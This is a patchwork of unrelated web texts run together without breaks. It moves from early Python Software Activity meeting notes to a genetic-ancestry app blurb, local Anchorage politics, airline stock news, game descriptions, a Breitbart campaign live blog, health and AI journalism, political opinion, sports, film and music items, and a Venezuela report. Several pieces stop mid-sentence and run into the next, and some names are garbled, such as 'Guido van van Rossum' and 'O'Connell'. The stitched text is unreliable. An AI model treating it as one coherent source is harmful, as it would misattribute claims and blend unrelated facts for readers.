Jim Fulton, USGS Ken Manheimer, NIST Michael McLay, NIST Paul Everitt, CMinds Inc. Roger Masse, CNRI + Python workshop ( my notes for the first part are sparse; after all, i wasn't the official notetaker until later in the meeting...) Not clear whether or not USGS will have the necessary internet/ mbone connectivity - jim is investigating Discussions about mbone at workshop flailed around finding a station to base an sbus video board that barry has available, i may have a sparcstation IPC to bring. I was left with the impression that there are fundamental questions about whether the effort to set up an mbone broadcast is warranted. * Marshalling the agenda action item! Paul agreed to be the overall workshop-session coordinator Agreed, on guido's suggestion, each of us would take responsibility for recruiting people (or taking it on ourselves) to handle a workshop session, and/or pieces of it. Division of labor: - Paul is going to post something explaining the overall scheme, - Administrative Topics and Introductions: paul - Distributed Computing: guido - Extension Modules and Basic Applications: mike, but jim's emailing aaron waters - GUI: jim - Python Core: guido - Software Mgmt: ken ( Barry, roger: answer to incidental questions about reliable NIST time server, slaved to the atomic clock - time.bldrdoc.gov. It apparently supports several time protocols, i use rdate on my sun, netdate on my linux system, just 'cause that's what's built in.) + Discussions re PSA - Some suggested purposes of the PSA: Give python credentials - "python is not just any old software off the net", including visibility and formal contact point for python-related questions Coordination of python development and commercial activity Stability of python - branding, forum for fielding user issues, etc Network host making available python and PSA materials - Proposal we're (mike?) going to make at python workshop: PSA will be a user group, eventually have a network host, and there are efforts in the works for funding (by cnri) to make it a staffed organization. - First Interim Board of Directors - a sundry collection of a motley crew: * First Interim Chairman: Mike McLay * First Interim Keepers of python.org: 1st interim board, @CNRI * First Interim Keeper of the Notes: Ken Manheimer * First Interim Keeper of the python.org Materials Index: Paul Everitt * First Interim Treasurer: decision postponed until there's money * First Interim Workshop Coordinator: Paul Everitt * First Interim Benevolent Dicator for Life: Guido van Rossum - python.org (see "1st interim keeper of...", above): A claim on the address has been filed with the NIC, by roger masse it may (?) informally be active, but will only be announced once cnri does or does not make some arrangement for funding We will wait to redirect the python mailing list (python-list@cwi.nl) until cnri has officially established a place for python.org We will relocate the steering-committed list (python-sc@eeel.nist.gov) to the python.org host asac (As Soon As Convenient) (barry?) - Discussion of a procedure for conducting python development proposals All agree that it would be nice to have a regular procedure for fielding and registering proposals for changes of and additions to python. Discussion of jim's recent proposal for a generic object API poses a nice example of several components of such a procedure.. Purposes of procedure: To help coordinate the process, so independent groups aren't working separately on the same problem/issue Establish formal collection of proposals, so: people can find what's already gone before, and how they went people working on implementation can have a central collection to focus upon. Very preliminary draft of proposal-submission procedure : Champion submits initial proposal to mailing list : Champion fields comments, discussion : If still interested, champion submits followup proposal, for inclusion in "PSA Notes" repository. Notice (who could help it?) that nothing is said so far about formalisms for getting the proposal implemented!. jim, guido, and i agreed to discuss this further ken ken.manheimer@nist.gov, 301 975-3539 Talk Back! Have an opinion? Readers have already posted 10 comments about this weblog entry. Why not add yours? RSS Feed If you'd like to be notified whenever Guido van van Rossum adds a new entry to his weblog, subscribe to his RSS feed. About the Blogger Guido van Rossum is the creator of Python, one of the major programming languages on and off the web. The Python community refers to him as the BDFL (Benevolent Dictator For Life), a title straight from a Monty Python skit. He moved from the Netherlands to the USA in 1995, where he met his wife. Until July 2003 they lived in the northern Virginia suburbs of Washington, DC with their son Orlijn, who was born in 2001. They then moved to Silicon Valley where Guido now works for Google (spending 50% of his time on Python!). This weblog entry is Copyright © 2008 Guido van van Rossum. All rights reserved.Ancestry & Genealogy‎ Discover Your Heritage, Discover the Story of Your Ancestors, Discover the Story of You! UPGRADED VERSION: This app was recently upgraded with significant performance enhancements. EDGC's Ancestry App unlocks the information within your genes to provide you with unprecedented access to your genetic heritage. The app will analyze your genes and generate a printable report that contains insights about your ancient ancestors and your genealogy. Sample Report Pages About this app This app was created by Eone-Diagnomics Genome Center (EDGC). Sequencing.com keeps you and your genetic data safe. To function properly, this app requires all of your genetic data. Because of this, Sequencing.com will securely transmit your genetic data to EDGC. To maintain the security of your genetic data, the only information provided to EDGC is your anonymous genetic data. EDGC does not keep a copy of your genetic data after your data is processed by this app. This app performs highly complex genetic analysis that can take several hours to complete. When the app completes, you'll receive an email with a link to your results.[Editor’s note: I served as Patrick Flynn’s staffer on the Assembly from 2011-2014.] The Anchorage Assembly is supposed to be accessible. Phone numbers to assembly members are listed with their public profiles. Citizens can request public appearances to speak to local issues that haven’t been addressed sufficiently or have been ignored outright. Last night, Pat Krochina — a partner at Nvision Architecture, located at the intersection of 13th and Gambell in Fairview — called attention to the downtown area’s growing problems of alcoholism, decreased emergency response, and an overburdened non-profit sector rendered unable to provide the necessary care to a swollen community in dire need. At the time I purchased and renovated the four-story building, the paper hailed our investment as evidence that Fairview was on its way for [a] brighter economic future. In reality, the unchecked inebriate issue in Fairview is having a disastrous effect on the business climate, and it won’t be long before the effects are felt elsewhere in Anchorage. To give you some examples about 13th and Gambell, notorious for unchecked, end-stage alcoholism; scores of inebriates congregating, drinking, passing out; serious public safety issues. I have seen numerous inebriates walk onto Gambell street and get hit by other vehicles. Until a few weeks ago, liquor stores openly [have sold ] to chronic inebriates and [allowed] them to drink on the property. Every person detained at the sleep-off center [is] released within walking distance of the Fairview liquor stores. APD [spends] most of their budget responding to alcohol related calls, dealing with the same folks over and over. APD budget and staff cut backs, not enough detox facilities and no mechanism for funding them. Drive through the blocks surrounding the Fairview liquor stores, you’ll see a deteriorating neighborhood; a lot of realtor signs in front of empty properties, including mine. Meanwhile, Carr’s Safeway, the big corporate neighbor on 13th and Gambell has a corner on the market, quite literally, and hasn’t been sufficiently motivated to make overdue and necessary changes to their stores or practice. Most alarming, everybody is relying on APD to provide the fix. APD says they can’t go after the real bad guys because the alcohol related calls on 13th and Gambell are taking up all their time. Each time they must deal with inebriates, they’re tied up for two hours on the street or at the ER. That’s time away from the real emergencies at other parts of the city. APD tells us that we must address the issue of availability of alcohol, but then they’re told from higher up to back off the liquor industry. And, Mayor Sullivan, you keep cutting back APD’s manpower and budget. Over the past six years, I’ve gone to my Fairview Community Council, Fairview Business [Association], Assembly and state representatives, APD, community patrols, CSP, and the mayor’s office. And all assure me we are working on the problem and it just takes time. Assembly and Mayor, I’m out of time. I lost two-thirds of my tenants directly due to this problem, and I may lose the building because of the alcohol activity at 13th and Gambell. Must I resort to a public nuisance lawsuit? I may be left with no choice. I urge you to become informed about the problems because, as goes Fairview, so goes the rest of the city. Particularly downtown. Go on a ride along with APD and see for yourself the amount of time spent trying to fix the problems that rightly belong to other groups, including the liquor industry. And when the package store [licenses] come up for renewal, I hope this body doesn’t just rubber stamp an approval. After all, this is your problem as well. Assemblywoman Amy Demboski of Eagle River asked if he had seen any difference since the Assembly stepped up the CSP services. Krochina agreed that there was a difference, but not a helpful one. “They’re limited,” he told Demoski. “They only have a certain amount of time.” Night time, it turns into a zoo. I have a janitor that lives in a house adjacent to the building, and he says at night they take over. He comes out to tell them to calm down – he’s trying to get sleep in the morning – and they swear, throw stuff at him, he had belligerent guys come up to him in a car. He calls the police. They come, you know, when they can. And obviously they’re busy. Krochina said that, by the time police get there, the people causing the problems have scattered. Once the police take the report and leave to attend other matters, the offending party inevitably comes back and pick up where they left off. The last time this happened, he said, they defecated on the front door. Demboski mentioned that she had recently spoken with a Las Vegas fire fighter who had let her in on how they had cleaned up the strip (which is news to me). However, she failed to specify a single option relevant to Anchorage. Instead, she offered ambiguous solutions requiring “out of the box thinking.” Assemblyman Paul Honeman, who served from 1986-1989 as a Community Service Officer and 1989-2008 as an APD officer, has a unique understanding of the woes currently centralized in the downtown area and surrounding neighborhoods. Honeman pointed out that Alaska does retain a state law that permits authorities to force alcohol and drug abusers to undergo treatment. “But there’s so many [people in need] and it’s so rampant, [and that is] very costly.” Patrick Flynn, whose district encompasses the vast majority of the affected area, offered a sharp rebuttal to Demboski’s optimism: With all due respect to some of the thoughts of my colleagues, we don’t need to go ‘outside of the box,’ we need to get back inside of the box. 12 years ago, the state dramatically increased the alcohol tax in the state of Alaska. The ostensible purpose of that was to provide more funding for detox in the state of Alaska. Flynn reminded the body that only about 50 percent of the revenue generated from the sizable alcohol tax increase actually went toward the funding of detox facilities. A request to the state legislature, to fully appropriate tax revenue for the purpose of treating chronic inebriates, is pending. “It’s simply a matter of will,” Flynn told Krochina. That will is currently not there, on a state or local level. Businesses and residents are noticing, picking up, and leaving out of sheer desperation. The increases in our crime rate haven’t escaped local communities or national news, and isn’t helping our recruitment levels for civilian or law enforcement ranks. This is a big problem that needs and deserves a better response than the vague excuses and faulty prescriptions residents have been offered over the past several years. Meanwhile, the problem keeps getting bigger, publicly, while becoming quieter, legislatively. That’s not helping anyone.Even as the internet kicked up a maelstrom of outrage, investors still thought United Airlines’ decision to forcibly eject a customer from an overbooked flight would have little effect on the company’s profits. But that changed Tuesday, when shares of United fell as much as 6.3% in pre-market trading, dropping $1.4 billion from the now $21 billion company by market cap. By early trading Tuesday, shares were down 4%. It didn’t help that apologies from United and its CEO Oscar Munoz were deemed tone deaf and insensitive by many on social media. Or that more video footage surfaced throughout the day Monday showing the passenger bleeding from the head and clinging to a curtain on the aircraft. The incident even prompted an investigation by Department of Transportation. And rather than blowing over after a night’s rest, the outrage only grew after Munoz sent an email to employees late Monday defending his staff’s action and calling the passenger “disruptive and belligerent.” Soon enough, the anger became global, with some questioning the practice of overbooking flights. In theory, a boycott against United should be a boon for other airlines as consumers seek other options. But that wasn’t the case Tuesday, as shares of Southwest Airlines, Delta, and JetBlue also dropped roughly 1%, while the S&P 500 shed less than half a percentage point in comparison. The minor stock fluctuation may also be stemming from FCC chief Ajit Pai’s announcement late Monday that he wanted to ban cell phone calls on flights. Shares of American Airlines on the other hand rose nearly 2% after it released a more favorable outlook for the first quarter. United’s 4% drop Tuesday could also be an overreaction to the sheer volume of negative sentiment and press surrounding the airline, at least according to CFRA’s analyst Jim Corridore. “We think this situation was handled in a deplorable fashion, but note that United has the right to refuse boarding to any passenger for any reason… We hope United will respond with apologies and procedural changes,” he wrote in a Monday note. “Overall, we think demand for United Airlines flights are unlikely to be affected by this poor customer service incident.”About This Game Welcome to Mount Wingsuit, where the thrill of hurtling down a mountain side in immersive VR with fast-paced arcade style gameplay will keep you in the zone for hours at a time. Hone your skills to perfect one of the 40 line challenges, try your hand at a slalom course or an over / under challenge, unleash Survival Mode where only the most skilled and persistent makes it down alive, or simply go cruising for one of the many secrets scattered across the map - the choice is yours! You have eight wingsuits at your disposal, using an advanced aerodynamic model to give each suit its unique look and feel, and twenty drop points to unlock and explore. With 320 objectives spread across 650 square kilometers of mountains loosely based on the Rockies, all in an open world packed with unique features, this game leaves you with miles to go. Features: - 40 checkpoint lines to challenge your skills - 20 unlockable droppoints - 8 different wingsuits - Parachute - Huge open world to explore - Survival mode with multiple challenges - Tons of gameplay objectives and collectibles - Made for VR - Also works without a VR headsetAny reasonable person might get a bit confused at the continuity of Worms, the perennial "lob stuff across the 2D map and watch it blow up" simulator. According to the franchise Wikipedia page, there have ben no less than 23 Worms games before this one, and at least one of them (from 2005) has been named Worms 4. Paradoxically, Worms 2: Armageddon and Worms 3 came after that Worms 4 (Mayhem), and now we're back to 4 again, this time with no subtitle. Maybe it's because this is the fourth Worms game to be available on mobile, if you include the disastrous version licensed by EA. Anyway. Worms 4. After a few months on iOS it's now available in the Play Store. You could be forgiven for passing over this one, since the core ballistic gameplay of Worms hasn't changed in a couple of decades - if you've somehow avoided playing it up to now, it's more or less a cartoony version of Scorched Earth and other multiplayer tank games. And indeed, Worms 4 includes tiny cartoon worms that spout pop culture references in squeaky voices, ridiculous weapons, and addictive multiplayer, just as expected. But that's not all. In addition to a general improvement of the 2D graphics plus better controls and menus for mobile, the latest game restructures the whole experience so that it makes more sense on a phone or tablet. Scoring is given the familiar three-star treatment, live online multiplayer is one-on-one so that rounds are fast (and so half the players don't drop out), and the overworld now has a more dynamic social system. Players are divided into factions worldwide, and every victory or defeat contributes to the larger conflict. The game has a selection of new weapons and movement tools as well. Worms 4 is available for phones and tablets, but not Android TV, more's the pity. It costs $2.49 to get in, and there are in-app purchases for currency, but they only go up to about $4.Welcome to Breitbart News’s live updates of the 2016 horse race. — All times eastern. 10:03: Trump says he thinks he will get to 1,237 delegates. He says he will do really well in New York and California and says “this has been an amazing process.” He says he is spending his own money and politicians won’t do the right things for the American people because they are motivated by special interests and lobbyists. Trump says politicians are not stupid when they make bad deals that hurt Americans–he says they are just doing what their donors want them to do. He says the country has been great to him and he wants to give back. 10:00: Trump says political life is “more dishonest” than pretty dishonest business people. But he says business people are “tougher” than politicians. And he says he will use some of the tough people to negotiate trade deals. 9:58: Trump says the key to success is to love what you are doing and never give up. 9:55: Trump tells questioner that his brother was a phenomenally handsome guy and he started drinking and it became a real problem. He says he always told him never to drink and smoke. Trump says his brother was one of his truly great teachers because he always said “don’t ever drink.” Trump says he owns the largest winery in the east coast but he has never had a drink. Trump says when his children were growing up, he would always tell his kids “no alcohol, no drugs, no cigarettes.” Trump says it’s a tough world to begin with but if you add alcohol or drugs, then it becomes really tough. Trump says if parents can keep their children away from alcohol or drugs, it’ll make life a lot easier. Ivanka and Don Jr. says that every morning their dad told them “no alcohol, no drugs, no cigarettes.” 9:53: Don Jr. says he finds it funny when politicians say they are serving the people when they are serving themselves. He says Trump’s campaign is resonating because he will serve the people. 9:48: Ivanka says converting to Judaism is “such a personal decision” that she doesn’t want to talk about it in a public forum. She says her dad was very supportive and points out that she doesn’t rush into things and appreciates the support that he gave him. She said it would have been much more hard if there had been headwinds. 9:41: Trump says he has picked up more than 100,000 followers over the weekend and he says social media is really an asset and enjoys doing it. He says “it is a powerful thing” and there is genius going on there. He would Tweet very limitedly as president, Trump says. But he says that social media allows him to criticize his opponents directly and it can break into all of the networks and drive the news cycle. He says “it is a modern method of communication.” Trump says the number of followers he has gives him a big advantage over other candidates. Trump says during the day, he shouts out stuff to his staff and they will sometimes Tweet what he wants. Trump says he himself always Tweets at night. 9:39: Melania says Barron is not on social media but has an iPhone. She points out that she grew up without social media and it was a lot better because she sees a lot of bullying going on on social media. Anderson asks Trump’s children if they monitor their dad’s social media. Laughter ensures. Eric says his dad is “so authentic” and doesn’t have a team writing his Tweets. 9:33: Questioner points out that the media have gone after Trump on women’s issues. Ivanka says that Trump has put female role models in top positions in an industry still dominated by men. She says Trump always taught her that there wasn’t anything she couldn’t do if she had deep passion and worked hard to achieve it. She says that is not a message a father would relay to a daughter who they didn’t think could accomplish the same things as her brothers. Ivanka says a lot of politicians talk the talk on gender issues but points out that Trump’s actions speak louder than words. Melania says Trump treats everyone equally 9:32: Questioner wonders if the campaign has put a strain on Ivanka’s friendship with Chelsea Clinton. “We’re children and we love our parents,” she says, adding that that is the “great equalizer.” She says Chelsea would probably say the same thing about
interior with cabin elements including high-capacity overhead bins, the latest in in-flight entertainment, full spectrum LED ambient lighting, standard 110v power available at every row, as well as in-flight Wi-Fi and Delta Studio. The A321s will also feature wingtip Sharklets, which will provide up to 4 percent improvement in fuel efficiency. The additional Airbus 321s will join 126 A320 Family aircraft—featuring CFM56 engines—already flying in Delta’s fleet. The airline took delivery of its first A321 in March with the inaugural flight scheduled to depart Monday, May 2 between Atlanta and Orlando, Fla. “Delta is an industry leader in many ways, not the least of which is contributing to the trend toward larger, more fuel-efficient aircraft for their single-aisle fleet,” said John Leahy, Airbus Chief Operating Officer – Customers. “The A320 Family continues to be the backbone of every airline in the world that is paying attention to what their passengers want and their investors need. In 2015, nearly 40 percent of our A320 Family deliveries were A321s, up some 10 percent from the previous year. Our customers, like Delta, know where to find the best comfort, economy and reliability.”Artificial intelligence used to mean something. Now, everything has AI. That app that delivers you late-night egg rolls? AI. The chatbot that pops up when you’re buying new kicks? AI. Tweets, stories, posts in your feed, the search results you return, even the people you swipe right or left; artificial intelligence had an invisible hand in what (and who) you see on the internet. But in the walled-off world of health care, with its HIPAA laws and privacy hot buttons, AI is only just beginning to change the way doctors see, diagnose, treat, and monitor patients. The potential to save lives and money is tremendous; one report estimates big data-crunching algorithms could save medicine and pharma up to $100 billion a year, as a result of AI-assisted efficiencies in clinical trials, research, and decision-making in the doctor’s office. Which is why tech titans like IBM, Microsoft, Google, and Apple are spinning up their own AI health care pet projects. And why every health-focused startup pitching Silicon Valley VCs throws in a “machine learning” or “deep neural net” for good measure. These algorithms get better the more data they see. And health data is practically hemorrhaging out of mobile devices, wearables, and electronic medical files. But their siloed storage systems don’t make it easy to share that data with each other, let alone with an artificial intelligence. Until that changes, AI won’t be curing the world of, well, probably anything. Which is not to say AI in health care is all hype. Sure, Watson turned out to be less cancer-crushing computer prodigy and more very expensive electrical bill. But 2017 wasn’t all flops. In fact, this year saw artificial intelligence begin demonstrating real concrete usefulness inside exam rooms and out. In the doctor’s office, AI is already helping dermatologists tell cancerous growths from harmless spots, diagnose rare genetic conditions using facial recognition algorithms, and lending an assist in reading X-rays and other medical images. Soon, it will be detecting signs of diabetes-related eye disease in India. But image classification isn’t the only thing it’s getting good at; AI can also mine text data. That kind of tech undergirds a platform that gives any primary care doc access to the expertise of specialists from all over the world. No more waiting six months for that referral you can’t really afford anyway. And after you get that diagnosis, you can now take home an AI-equipped robot to help you stick to your treatment plan. It nags, but it looks cute while it’s doing it. Health care-focused AI has also seeped into virtual care, as medicine experiments with ways to offer preventive care and between-visit support via the omnipresent smartphone. Your phone no longer just tells you how to sleep better, eat healthier, exercise more, and keep a quiet mind. Now, AI can pick up patterns in the way you talk and text, to detect the first signs of depression and suicide risk. And it can help you deal with that stuff too. Amiable chatbots trained on cognitive behavioral therapy concepts are now helping people who can’t find time or money for a proper shrink. For veterans struggling with PTSD, researchers designed a human therapist avatar with a mind built by machine learning. Both approaches take advantage of the fact that people open up better to machines than other humans—the algorithms don’t judge. And artificial intelligence is smartening up other devices, too. Deep neural software is making it easier to tune things like hearing aids and fancy new ultrasound machines. It’s making exoskeletons more responsive and artificial hands better at gripping (but not breaking) things. Of course, as machine learning powers more and more medical device software, it’s made regulating them a whole lot trickier. This year the US Food and Drug Administration even had to create an entirely new digital health task force just to tackle it. How exactly do you regulate software that is always learning and evolving, constantly changing on the fly? What happens in a zero code world, where AI writes and rewrites its own instructions? Instead of trying to keep up with that radically different pace, the agency is piloting a new course—that certifies trusted companies with good track records, as opposed to individual software packages. Still, those regulations will only control AI-informed devices, diagnostics, and treatments. The technology is seeping into the practice of medicine at every level, not just at the stage of final device approval. It’s now baked into the way biomedical researchers sift through tsunamis of genetic data and pharma firms discover new drugs. It’s how public health officials predict the next epidemic, and keep track of opioid hot spots. And it’s increasingly how doctors and scientists try to make sense their data-drenched realities. As AI opens those new avenues of understanding and treating human disease, it’s important to remember that algorithms, like people, are imperfect. They're only as good as the data they see and the biases they carry. No matter how many black box neural networks start finding their way into the health care system, medicine is still fundamentally a human endeavor. And people don’t always do what’s best for them, even on a doctor’s orders. Which means the biggest challenge in health care isn’t about changing people’s bodies, but about changing people’s minds. And that’s not the kind of intelligence computers are good at. AI won’t be replacing MDs, anytime soon. But it is coming for their fax machines.votes, average:out of 5)You need to be a registered member to rate this post. CCNA is one of the most sought after IT certifications in the networking field throughout the world. More than a million+ CCNA certificated professionals have been awarded and working in the networking field since it was first launched in 1998. One of the top most responsibility of a CTO is inventing & investing in new tools and infrastructure to keep pace with the always changing business requirements. As the tools increase, the interaction across various tools and systems increase. This brings an explosion into network needs, which brings in a huge gap in the required skill set for network professionals. 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Get Trained in CCNA Training from the network experts!Potent antipsychotics given to children as young as two can lead to significant weight gain, according to new Canadian research into a class of drugs that one prominent American psychiatrist says are being used as tools of “social control.” The number of children being started on second-generation antipsychotics, or SGAs, has grown exponentially, with prescriptions increasing 18-fold in B.C. alone between 1996 and 2011. Across Canada, between 2005 and 2009, antipsychotic drug recommendations for children and youth increased 114 per cent. The new study was based on 147 children aged 10 to 16 treated at Hôtel-Dieu de Lévis hospital in Quebec between 2005 and 2013. The youth were part of a program created to track the metabolic effects of SGAs on children being treated with the mood-altering drugs for the first time. Once reserved for schizophrenia in adults, the drugs are being prescribed “off-label” — used in an unapproved way or for an unapproved age range or dosage — to adolescent boys, as well as girls and younger children, for attention deficit hyperactivity disorder (ADHD), aggression and behaviour problems. Half a dozen second-generation antipsychotics are marketed in Canada, including clozapine, risperidone and quetiapine. None have been authorized for use in children under 18, with the exception of aripiprazole (sold under the brand name Abilify), which is approved for treating schizophrenia in 15-to-17-year-olds. University of Montreal researchers collected height, weight and blood samples, looking at the side effects when one drug alone was used, or switched or combined with other antipsychotics. Overall, after 24 months of antipsychotic treatment, the children’s mean weight increased by 12.8 kg, or 28 pounds. Twenty-three per cent of the youth in the study became overweight or obese, nearly 10 per cent developed impaired fasting glucose — a type of pre-diabetes — and one developed full-blown diabetes. The most frequent diagnosis that led to the prescription of the antipsychotics was “disruptive behaviour disorder” in children with ADHD, surpassing actual psychotic or mood disorders — that despite national guidelines recommending against the use of antipsychotics for behaviour problems. The increase in weight and BMI, seen regardless of the type of SGA treatment used, “remains of great concern given that childhood obesity can adversely affect nearly every organ system,” the researchers warn in the study, published by the Canadian Journal of Psychiatry. Serious complications include high blood pressure, fatty liver disease and an increased risk of heart disease and stroke “from childhood onwards.” It’s not clear why the children gained weight. “Families tell me their kid went from drinking several litres of water to wanting to drink several litres of pop,” said Dr. Dina Panagiotopoulos, a pediatric endocrinologist at B.C. Children’s Hospital. One theory is the drugs affect brain chemicals that control hunger and satiety. However, in a separate, yet-to-be published study, Panagiotopoulos’s team found children’s actual caloric intake doesn’t increase sufficiently to justify all the weight gain, and there is some suspicion the drugs affect a child’s resting energy expenditure — they burn fewer calories. Panagiotopoulos has seen weight gains of as much as 50 lbs. (23 kg) in teenagers. Her own research shows antipsychotics are being prescribed to preschoolers as young as two. “Some kids need these medications to function and to go to school and do well. I don’t want people to stop their children’s medication if they need it,” she stressed. “But there are things parents can do to live healthy lives and prevent some of these side effects, they just need to ask.” She said children should be monitored every three months for the first year of treatment, and once a year, minimally, thereafter. “Often these kids will stay on these medications for years, and not be reviewed. We’ve had kids on them for over seven years.” Dr. Allen Frances, professor emeritus at Duke University, said weight gains of “this enormous magnitude” can set children up for future diabetes and cardiovascular disease. “This is a terrifying study.” Frances said antipsychotics are being “wildly and recklessly overused, very often by primary care doctors with little expertise, or time, under the influence of drug company aggressive marketing.” He said the drugs are often prescribed to poor children and children in foster care. “It’s a form of social control. It’s medicalizing problems that are social problems.” There may be rare instances where the behaviour problem is so extreme and resistant to any other form of treatment “that medication may be worth it, despite all the risks,” Frances added. “But this should be a very last resort, not a first reflex.” • Email: skirkey@nationalpost.com \| Twitter: sharon_kirkeyRemember when Hillary Clinton was going to win and gain a majority in the Senate but not have enough of a majority to invoke cloture (60 votes) to move forward with judicial nominees? It wasn’t that long ago. In fact, the vice-presidential nominee, Tim Kaine, brought it up. From Roll Call: Democratic vice presidential nominee Tim Kaine is joining those predicting that his fellow Senate Democrats will force through changes to the chamber’s rules to ensure confirmation of a potential Supreme Court pick next year. Should the Virginia Democrat and ticket mate Hillary Clinton win next month, he could make pivotal procedural decisions in such a “nuclear option” standoff after Jan. 20, since the vice president also serves as president of the Senate and has the option to preside. The “nuclear option” describes efforts to change the Senate’s rules to decide on an issue with a simple majority of senators and bypass the customary procedure requiring a two-thirds vote to overcome filibuster threats. So when the media goes into a feigned outrage when President Trump and Senate Majority Leader O’Connell suggest they will do the same, Tim Kaine’s words are all they should repeat back to the press: “We will change the Senate rules to uphold the law, that the court will be nine members,” Kaine said, pointing out that he will be serving in the Senate at least into January. “I was in the Senate when the Republicans’ stonewalling around appointments caused Senate Democratic majority to switch the vote threshold on appointments from 60 to 51. And we did it on everything but a Supreme Court justice,” Kaine said. “If these guys think they’re going to stonewall the filling of that vacancy or other vacancies, then a Democratic Senate majority will say, ‘We’re not going to let you thwart the law.’” They were so convinced they were going to win, they bragged about using this strategy. I was speaking with colleagues about the agenda Trump would have to start out. I mentioned SCOTUS. As much as Trump talked about, the consensus is the court is not something that concerns him. Not that he would go and nominate a liberal justice but that he would go with a recommendation conservatives would accept as an olive branch. Go for it. And when Democrats begin clutching their pearls, Republicans should shrug and move on. They have the majority in the Senate. Time to use it.Things may be getting a bit frosty in Green Bay these days, and we’re not talking about the weather. A report by Bob McGinn of the Milwaukee Journal-Sentinel included a juicy rumor regarding head coach Mike McCarthy and general manager Ted Thompson. Specifically, McGinn reports: “According to several sources, McCarthy is fed up with his boss’ unwillingness to take a chance and reinforce the roster with veteran players that might be unknown to the Packers but have the talent to contribute.” Nobody would argue with Thompson’s track record of bringing in excellent personnel via the NFL draft. However, he has been wary of signing high-profile free agents in the past — guys like Julius Peppers and Charles Woodson being the exceptions. In his column, McGinn points to Thompson’s unwillingness to sign inside linebacker Mason Foster, who ended up signing for the veteran’s minimum with the Washington Redskins. The Packers desperately needed help at the position this season (and last) but never got it because of Thompson’s stick-with-the-draft formula for success. Looking at the roster, one area that must be addressed for the upcoming 2016 season is the offensive line. Guys like Cordy Glenn, Russel Okung and Andre Smith should be strongly considered to shore up Green Bay’s line, which seems to always be lacking talent and depth. However, given Thompson’s track record, Packers fans shouldn’t hold their breaths waiting for news of a high-profile signing. If the Packers are going to get the most out of Aaron Rodgers golden years, though, perhaps it’s finally time for Thompson to take a gamble or two on veteran players who can contribute at a high level.Tim Burton to Direct Christoph Waltz and Amy Adams in 'Big Eyes' Finally! It's about time Tim Burton finally took on an intriguing and original project. Big Eyes has been gestating for years now with a script from Ed Wood writers Scott Alexander and Larry Karaszewski. Most recently, the writing duo was going to take over directing duties themselves with Tim Burton producing and Ryan Reynolds and Reese Witherspoon in the lead roles. However, Deadline reports Burton will now be in the director's chair and Christoph Waltz and Amy Adams will play artists Walter and Margaret Keane, who became famous in the 1960's with their wide-eyed depictions of women and children. The paintings were a huge hit, selling to gas stations and dime stores across the country. It was Walter's marketing skills that got the paintings noticed, and he also took credit for the artistry, bringing him fame on the talk shows across the board. However, it was Margaret who was the real artist. But when she tried to make her genius known to the world, Walter began calling her eccentric and the matter went all the way to the court, but we won't spoil the ending. Alexander and Karaszewski worked with Burton on Ed Wood, arguably the director's finest film, and they also scripted the spectacular biopic Man on the Moon with Jim Carrey as Andy Kaufman. Frankly, I can't wait to see what Burton does with their script, especially with two talents like Waltz and Adams in the lead now. It'll be nice to see a film without big special effects and Burton's trademark dark fantasy flare. The writers will also produce the film with The Weinstein Company currently ironing out all the details to finance and distribute the film, hopefully for some awards love when the time comes. Sound good? 1 OfficialJab on Apr 3, 2013 2 Greg dinskisk on Apr 3, 2013 3 David Balderdash on Apr 3, 2013 4 Greg dinskisk on Apr 3, 2013 5 Xerxexx on Apr 3, 2013 6 Yodarth on Apr 3, 2013 Sorry, no commenting is allowed at this time.The parents of Trayvon Martin, Tracy Martin and Sybrina Fulton, right, attend a news conference on April 11, 2012, in Washington (Photo: Evan Vucci, AP) Story Highlights The 17-year-old Martin was fatally shot by a neighborhood watch member The amount of the settlement is confidential George Zimmerman was not part of the HOA's deal SANFORD, Fla. (AP) — The parents of a teenager who was fatally shot by a neighborhood watch volunteer last year have settled a wrongful-death claim against the homeowners association of the Florida subdivision where their son was killed. The Orlando Sentinel reported Friday that an attorney for Trayvon Martin's parents — Sybrina Fulton and Tracy Martin — filed that paperwork in Seminole County and that portions of it were made available for public review Friday. According to the newspaper, the settlement amount was marked out in five pages that it reviewed. Lower in the agreement, the parties specify that they will keep the amount confidential. Benjamin Crump, the attorney for Trayvon Martin's parents, declined to comment Friday. He told the Associated Press that the filing was confidential. A telephone message left Friday evening by AP with the homeowner association's attorney, Thomas R. Slaten Jr., wasn't immediately returned. Martin was fatally shot in February, 2012 by neighborhood watch volunteer George Zimmerman during a confrontation in a subdivision in Sanford, about 30 miles north of Orlando. A month-and-a-half delay in Zimmerman's arrest led to nationwide protests in the racially charged case. Zimmerman has been charged with second-degree murder in Martin's death. Zimmerman claims he was attacked and acted in self-defense, but Martin's family claims he targeted the unarmed 17-year-old mainly because Martin was black. Zimmerman's parents are white and Hispanic. Under the terms of the settlement, Trayvon Martin's parents and his estate agreed to set aside their wrongful-death claim and claims for pain and suffering, loss of earnings and expenses, the Sentinel reported. According to a cover page attached to the settlement that was placed in Zimmerman's criminal case file, copies of the settlement were given Thursday to Zimmerman's attorney, as well as to the prosecutor and the judge, the newspaper reported. Crump has previously said he intends to file suit later against Zimmerman, and the settlement specified that Zimmerman was not part of the homeowner association's deal. Copyright 2013 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Read or Share this story: http://usat.ly/XuCSvgUmphrey’s McGee :: 3.13.14 :: Ace Of Spades :: Sacramento, CA On Thursday night Umphrey’s McGee brought their current West Coast Tour to Ace of Spades in Sacramento, CA. The band focused on older material throughout the evening including a second set where the newest song they played, “Push The Pig,” was debuted over 12 years ago. Umphrey’s presented their biggest bust out of the tour thus far, a cover of The Beatles’s “Dig A Pony,” last played a whopping 597 shows prior, during the first set. The Sacramento show is the 1,000th UM gig posted on UmLive.net, so the band is celebrating by letting fans download the recording free-of-charge. Head to UmLive.net to download the Sacramento show and take advantage of a 50% discount on any other performances you’d like to purchase this weekend. Set 1: Conduit, Walletsworth, Dig A Pony, Search 4, FF > Kimble, 1348 Set 2: In the Flesh > Another Brick in the Wall > Der Bluten Kat > Hangover > Der Bluten Kat, Push the Pig > Ringo > Blue Echo > Ringo Encore: The Fussy Dutchman [Setlist via All Things Umphrey’s] JamBase \| Sacramento Knows The Score Go See Live Music!Venezuela's economic and political crisis continued on Thursday, as the military called on everybody in the country to participate in exercises meant to counter a supposed United States invasion. Embattled President Nicolas Maduro called the military exercises earlier this week after expanding a state of emergency in response to opposition calls for a referendum for him to step down. "Venezuela is threatened," Venezuelan Defense Minister Vladimir Padrino Lopez said on state television on Thursday. "This is the first time we are carrying out an exercise of this nature in the country. In terms of national reach, it's going to be in every strategic region." Watch video 00:55 Share Venezuela: Tear gas against protesters Send Facebook google+ Whatsapp 